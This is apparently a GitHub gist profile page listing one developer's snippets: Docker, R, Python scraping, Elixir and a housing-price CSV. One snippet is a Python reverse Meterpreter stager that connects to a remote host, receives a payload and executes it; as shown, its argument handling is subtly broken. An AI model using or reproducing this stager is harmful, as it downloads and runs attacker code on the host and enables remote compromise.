Skip to content

Instantly share code, notes, and snippets.

View wesleyit's full-sized avatar

Wesley Rodrigues wesleyit

View GitHub Profile
@wesleyit
wesleyit / start_local_db.sh
Created May 14, 2018 12:13
Start a local container with Postgresql
mkdir -p share
mkdir -p pgdata
docker rm -f local_db || true
docker run --name local_db \
-e POSTGRES_PASSWORD=secret \
-p 5432:5432 \
-v $(pwd)/share:/share \
-v $(pwd)/pgdata:/var/lib/postgresql/data \
@wesleyit
wesleyit / R_basic_packages.r
Created April 18, 2018 19:15
Install some R useful packages
install.packages(c("ggplot2", "reshape2", "plyr", "languageR",
"lme4", "psych", "RMySQL", "RPostgresSQL", "RSQLite", "xlsx",
"XLConnect", "foreign", "dplyr", "tidyr", "stringr", "lubridate",
"ggplot2", "ggvis", "htmlwidgets", "googleVis", "maptools",
"maps", "ggmap", "zoo", "xts", "quantmod", "httr", "jsonlite",
"sp", "neuralnet", "RODBC", "gmodels", "class", "tm", "wordcloud",
"rpart", "kernlab", "e1071", "randomForest", "caret", "ROCR"))
@wesleyit
wesleyit / get_uol_finance.py
Created February 27, 2018 00:30
Get Brazilian economic information from UOL's website
from os import system
from requests import get
from bs4 import BeautifulSoup
headers = {'Accept': 'text/html, application/xhtml+xml, application/xml',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US, en',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64)'
}
@wesleyit
wesleyit / Stocks 2017.ipynb
Created February 16, 2018 02:30
Brazilian Stocks (2017)
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@wesleyit
wesleyit / install_iR_to_jupyter.sh
Created November 6, 2017 21:55
Install iR Kernel to Jupyter
cat | R --no-save <<EOF
install.packages('devtools', repos='http://cran.us.r-project.org')
devtools::install_github('IRkernel/IRkernel')
EOF
@wesleyit
wesleyit / precos_de_imoveis.csv
Created November 1, 2017 17:24
Pricing for houses in San Francisco
We can make this file beautiful and searchable if this error is corrected: It looks like row 10 should actually have 8 columns, instead of 2 in line 9.
valor,crimes_per_capita,comodos,distancia_centro_comercial,acessos_a_estradas,iptu,media_alunos_por_professor,percentual_de_pobres
24000,0.006000000052154,6.57000017166138,4.09000015258789,1,29.6000003814697,15.3000001907349,4.98000001907349
21599,0.027000000700355,6.42000007629395,4.96999979019165,2,24.2000007629395,17.7999992370605,9.14000034332275
34700,0.027000000700355,7.17999982833862,4.96999979019165,2,24.2000007629395,17.7999992370605,4.03000020980835
33400,0.032000001519918,7,6.05999994277954,3,22.2000007629395,18.7000007629395,2.94000005722046
36199,0.068999998271465,7.15000009536743,6.05999994277954,3,22.2000007629395,18.7000007629395,5.32999992370605
28701,0.029999999329448,6.42999982833862,6.05999994277954,3,22.2000007629395,18.7000007629395,5.21000003814697
22900,0.087999999523163,6.01000022888184,5.55999994277954,5,31.1000003814697,15.1999998092651,12.4300003051758
27100,0.144999995827675,6.17000007629395,5.94999980926514,5,31.1000003814697,15.1999998092651,19.1499996185303
16500,0.210999995470
@wesleyit
wesleyit / IPCluster.exs
Created October 18, 2017 01:44
Get all IPs addresses using Elixir
defmodule IPCluster do
def get_inet(), do: elem(:inet.getif(), 1)
def get_ip_list([]), do: []
def get_ip_list([h|t]) do
{ip, _bcast, mask} = h
[[Tuple.to_list(ip), Tuple.to_list(mask)] | get_ip_list(t)]
end
def ip_list([]), do: []
def ip_list([h|t]) do
[Enum.at(h,0) | ip_list(t)]
@wesleyit
wesleyit / ensure_pkg.r
Created April 1, 2017 16:58
This snippet will load the libraries in a smarter way. If the library is already installed, then it is loaded. Otherwise, it is installed and then loaded.
ensure_pkg <- function(pkg) {
pkg = toString(substitute(pkg))
if (!require(pkg, character.only = TRUE)){
install.packages(pkg)
require(pkg)
}
}
ensure_pkg("car")
ensure_pkg("lattice")
@wesleyit
wesleyit / param_reverse_meterpreter.py
Created November 11, 2016 10:33
Parametrized Python Reverse Meterpreter
#!/usr/bin/env python
import socket, struct, sys
if len(sys.argv) != 2: sys.exit(1)
s = socket.socket(2, socket.SOCK_STREAM)
s.connect(sys.argv[1], int(sys.argv[2]))
l = struct.unpack('>I', s.recv(4))[0]
d = s.recv(l)
while len(d) < l:
d += s.recv(l-len(d))
exec(d, {'s':s})
@wesleyit
wesleyit / Dockerfile_node_unprivileged
Created July 29, 2016 14:23
This is a node js container wich runs code using an unprivileged session
## Defina a versao desejada do Node.
# Testado apenas com as imagens oficiais!
FROM node:6.2.0
MAINTAINER Wesley R. Silva <[email protected]>
## Adiciona um usuario para executar o node
RUN useradd -m node --user-group -G 100 -s /bin/bash -d /home/node
USER node
## Cria um diretorio local onde os pacotes serao instalados